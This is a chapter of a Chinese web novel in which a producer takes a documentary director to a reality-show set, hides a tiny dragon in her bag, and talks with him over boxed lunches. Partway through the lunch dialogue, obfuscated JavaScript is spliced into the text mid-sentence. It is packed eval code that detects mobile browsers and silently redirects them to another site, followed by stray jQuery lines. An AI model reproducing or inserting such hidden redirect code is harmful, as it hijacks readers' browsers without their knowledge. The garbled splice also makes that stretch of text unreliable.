去1号棚的路上,丁依一路紧紧捂着自己的帆布包。
老杨关心道:“小丁,你是不是肚子痛?”
丁依回以“微笑”:“没事,我就是……有点饿了。”她作势揉了一下肚子,又马上把手移回帆布包上。
“那你要不要先去吃饭?”
“不急,我先带您去魏家隆他们的练习室吧。”
所有的艺人练习室都在1号棚。节目组租下了一整个棚,然后再里面重新搭建了“录制专用”的舞蹈房——所有的舞蹈房镜子,都是单向镜。摄像机都“隐藏”在单向镜后面,减少录制时对艺人练习和真人秀状态的影响。
见到单向镜,原本还惶然不已的老杨,一下子兴奋了起来。
他绕到一排摄像机后面,从单向镜的“观察侧”,看向“被观察侧”那头——舞蹈房里正在吵架的魏家隆和他的团员,激动地问丁依:“这是不是就是警匪剧里头,警察审讯用的那种镜子?”
老杨的声音有点大,引得一旁的节目组摄像看了他一眼。
注意到节目组摄像的眼神,老杨赶紧捂住自己的嘴:“不好意思,我是会员专供纪录片《华服之下》的导演,刚刚打扰您拍摄了吧?”
节目组摄像虽然不知道“会员专供纪录片《华服之下》”是个什么东西,但他习惯了在剧组有各色人等出没,便也老练地和老杨打了个招呼,然后提醒老杨:“导演,您待在这边没问题,就是说话声音麻烦小点,虽然艺人是用小蜜蜂收声,但毕竟只隔了一面镜子,太大声了传过去不好。”
老杨连声说好。
那摄像又问:“导演您只是看一下做个场记,还是要跟我们一起拍?”
老杨看向丁依。
丁依道:“就看一下做个场记,如果有需要,我们后期能调您这边拍的素材。”
节目组摄像点点头:“那行,我给这位导演安排个椅子。”
老杨感激不已,跟着摄像就去了。
丁依在老杨身后,眼看着他不仅拿到了椅子,还很快和摄像们熟稔地攀谈了起来,心里不禁啧啧称奇。
这时,丁依突然感觉到帆布包里又是一阵暴动。她第一时间捂住,但铃铛声还是传了出来,引得周围的摄像纷纷侧目。
老杨一看情况,连忙说声“抱歉”,走过来严肃地和丁依道:“小丁呀,咱们要配合人家工作,你这个铃铛,要不从包上拿上来吧。”义正言辞的架势,俨然已经把人家当成了他的自己人。
丁依道:“好的,不好意思,不过这个铃铛有点难取,我出去取吧,顺便去食堂把咱俩的盒饭拿过来。”
说完,她欠身和节目组摄像们道了个歉,猫着腰捂着帆布包,小跑离开了1号棚。
丁依找到了影视基地里的一个空置棚,进去打探了一番,确定没人后,她蹲在一个角落,松开了捂紧的帆布包口。
“行了,出来吧。”
听到丁依的话,一双迷你龙角率先从帆布包口伸了出来。然后是毛茸茸的鬃毛,和一双圆溜溜的蓝眼睛。
等这双蓝眼睛滴溜溜地观察了一圈环境,它才舍得把整个脑袋瓜都给伸出来,两只龙爪扒在包沿上。
“这时候倒知道小心谨慎了,刚刚人那么多,偏偏要动来动去的。”丁依叹气。
她把包放在地上,平摊着伸出一只手,这条「龙(出差便携版)」便非常自觉地呼哧呼哧爬上了她的手心。卷起尾巴在丁依的手心蹲好,它睁着小小的蓝眼睛,对着丁依歪了歪头。
“说吧,怎么回事?”
龙又歪了歪头,然后抬起一只前爪,扭着脖子使劲扒拉自己的脖子上的一条“宠物项圈”。
这条“宠物项圈”由半透明的浅金色链条串联,正前方垂坠着一颗金色铃铛。龙这一扒拉,项圈上的铃铛随之而动,一阵铃铛声在空荡的摄影棚里回响。
丁依揣测它的意思:“戴着这个,你觉得不舒服?”
龙放下爪子,点了点头,然后又扭起脖子扒拉项圈,似乎想把自己的头从项圈里扒出来。铃铛声响个不停,吵得丁依脑袋嗡嗡得。
“行了行了,没用的,这个东西你扒不下来。”
丁依把龙的爪子按了下来。
龙脖子上新戴上去的这条项圈,表面上看起来像是普通的宠物项圈,实际上,却是丁依上次回妖行街时,从叶瑾瑜那里借来的门派法器——驭灵圈。
简单来说,这个驭灵圈的功能,就是让凡人轻松拥有控制妖怪的能力。大部分妖怪,只要套上这驭灵圈,都能被治得服服帖帖。据叶瑾瑜说,当年,即使是身上背了不少人命的狠角色,戴上这驭灵圈后,妖力都要被压制个十有九成。至于戴上驭灵圈还能不受控的妖怪,几乎是绝无仅有,反正叶瑾瑜自己,是只遇过一个。
丁依借驭灵圈,是为了方便带这条龙出差。
不过,看着面前扭来扭去、一心想把驭灵圈脱掉的这条,丁依忍不住吐槽——
说好的“只要套上这驭灵圈,都被治得服服帖帖”呢?
“好了,别动了,我看看。”
丁依用大拇指按住了龙抓耳挠腮的小爪子,仔细检查了一圈,发现了华点——驭灵圈上的铃铛缠住了龙的一小缕鬃毛,所以它才觉得不舒服。
她拿指甲尖捏着鬃毛,小心地把它从驭灵圈里揪出来。揪出后,龙使劲甩了甩头,便不再挣扎了。
“现在没有不舒服了吧?”丁依问。
龙点点头。
“那今天接下来,能不能拜托你配合我一下,在包里不动?”
龙又点了点头,然后低下脑壳在丁依手上蹭蹭。
“那好,说到做到。要是再动,我就得拿更不舒服的东西锁着你了。”丁依“恩威并施”地恐吓完,把龙又塞回了包里。
当丁依拎着盒饭走回1号棚时,老杨正在和节目组摄像们热聊。
显然,老杨已经在摄像大哥中混得如鱼得水,脸上不见惶然,一副身心都十分松弛的样子。
丁依心想:原本以为老杨是一个中年愣头青,不料他还是有两把混社会的刷子。
她凑过去拍拍老杨,道:“我回来了,”她又问道:“你们聊天这么大声,不要紧吗?”
老杨听到她的话,又指了指单向镜的对面——
魏家隆组的练习室里空荡荡的,没有人练习,只有角落坐着一个不知道是谁的人,正在休息。
“魏家隆他们人呢?”
“吵翻啦!人都走啦!”老杨一脸看好戏的标签。
他告诉丁依,刚刚她出去的这段时间,自己已经跟摄像们套好了情报:“说从昨天下午吵到今天,最大的刺头就是那个魏家隆,啧啧啧,估计再这么吵下去,过两天的舞台表演都要开天窗!”
丁依看着现在的老杨,一点都看不出他刚刚也曾经为自己的纪录片可能开天窗而焦虑。
既然主角都在闹罢工,她和老杨两个配角刚好吃个盒饭。
找了个空置的桌子,两人面对面坐下。
节目组的盒饭又干又油,丁依吃得味同嚼蜡,对面的老杨倒是吃得津津有味。
边吃,老杨边和丁依聊起他第一次进综艺节目录制现场的感受。
“你不说,这综艺真人秀,还是挺有意思的,挺真实的。”老杨往嘴里塞了一块梅干菜扣肉,含糊不清地感慨道。
丁依撇撇嘴,心想有时候过于真实也不好,搞得计划里的工作都完不成了。
嘴上却说:“毕竟还是综艺,比不上您之前做的纪录片真实。”
老杨摇摇头:“我做的纪录片性质不一样。”
丁依不知道老杨之前做什么纪录片,也不感兴趣,就没接话。
见她不说话,老杨又主动提问:“小丁,你是怎么会进这一行的?”
原来老杨这么有聊天的热情,难怪能很快和节目组摄像们打成一片。
丁依回答道:“就凑巧,大学学的传媒,毕业的时候海投简历,凑巧这家视频网站给了我offer,我就做了。”
老杨点点头,又问:“那你大学专业,怎么会选的传媒?”
“也是凑巧,填志愿的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502242|170400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候,我过了学校分数线,但没过专业分数线,给调剂到传媒专业的。”
“喔,那你原本的志愿是填的什么专业?”
“不记得了,原本的志愿也是随便填的。”
回答完这句,丁依突然觉得胸口闷闷的,有股说不出的烦躁。
尽管她说的都是事实,但她仍不免为这些事实而感到一丝郁闷。仿佛是为了排解这股郁闷,虽然老杨没有继续提问,她还是忍不住自己补上了句——
“——我这个人好像就是没什么想法,比较随波逐流,所以虽然进了这一行,也做不好太有创意的工作,只能做一些事务性的琐事。”
说完这句突如其来的真心话,丁依后知后觉地尴尬起来,她赶紧吞了一大口又咸又油的梅干菜烧肉,以掩饰自己的不自在。
老杨倒是非常自在。他睁大眼睛,流畅地接过丁依的话继续:“是吗?我倒是觉得你做的挺好的。”
丁依以为他在客套,笑了笑没接话。
没想到老杨紧接着下一句道:“我本来以为你就是个混子,结果今天才发现,你还挺认真啊。”
丁依:……
打扰了,原来你不是在客套。
老杨越说越起劲:“真的,你还记得第一次开会吗?那次,你一开口就问‘合同里有没有’,我就误会你是个拿着规矩压人的。后来第一次被魏家隆拒绝,你啪的一条消息不由分说地甩过来,我还以为你是个就会把消息转来转去、推卸责任的混子。今天过来,见到实际情况,才知道原来艺人真的这么任性,综艺录制里突发状况那么多,你在意的那些确实都是必备流程,你已经挺负责的了——”
说着,老杨对丁依露出一个略带歉意的表情,“——之前是我误会你了,后面不管什么情况,就算不太顺利,我们也见招拆招,一起承担吧。”
听完老杨的话,丁依顿了顿,又对老杨笑了笑,然后往嘴里塞了口饭。
咀嚼着嘴里干硬的米饭,不知怎么的,丁依突然对老杨之前做过的纪录片好奇起来。
她开口问道:“您呢?您怎么会开始做纪录片?”
老杨啃着盒饭里的排骨,回答道:“我也是凑巧,一开始只是对某些题材感兴趣,但只是想研究。后来我想着,反正都要研究,不如拍出来。”他用手机打开一张图片,递给丁依,“这些纪录片,都是我之前拍的。”
丁依接过手机。图片应该是从老杨的个人履历里截图的,「作品」一栏里写着不少纪录片片名。她原本想着之后把老杨的纪录片作品搜来看,但看到《桃花源入口与河流研究》《井与地下水的故事》这样的片名,她又打消了这个念头。
“原来您是这个赛道的,那怎么会想到来接我们这个活?两边差的可有点大。”丁依把手机还给老杨。
老杨叹了口气:“当然是因为缺钱了呗。”
丁依想起,这事张铭好像跟她提过。她点点头:“毕竟市场大环境不好,现在您做纪录片,估计没您以前挣钱吧?”
老杨笑道:“和市场环境没关系,做纪录片吧,就没有挣钱的时候。”
确实,就看老杨那些纪录片的名字,市场环境再好,估计也很难挣得到钱。丁依心里这么想,嘴上还是顺着话往下问:“那您以前拍纪录片的经费都是哪儿来的?有人赞助吗?”
“喔,算是有人赞助吧。”老杨道,“我赞助我自己,花家里给的钱。”说完,他往嘴里扒进了最后几口盒饭,把整盒饭都吃得干干净净。
丁依愣了,没想到面前圆脸盘蒜头鼻、满身是灰、疯狂干饭的老杨,居然是个家里有矿的。她不知该接什么话,只好也埋头默默吃饭。
对面,老杨吃完饭,放下筷子擦了擦嘴又接着说:“其实,我已经有新的纪录片计划了,等咱们这个项目结束,钱到账了,我就筹备开拍。”
丁依顺嘴问道:“喔?已经有主题了?”
老杨一脸得意:“别说主题,我连新纪录片的名字都想好了,就叫,”他用筷子敲了敲桌子。
“——《失落的龙神》。”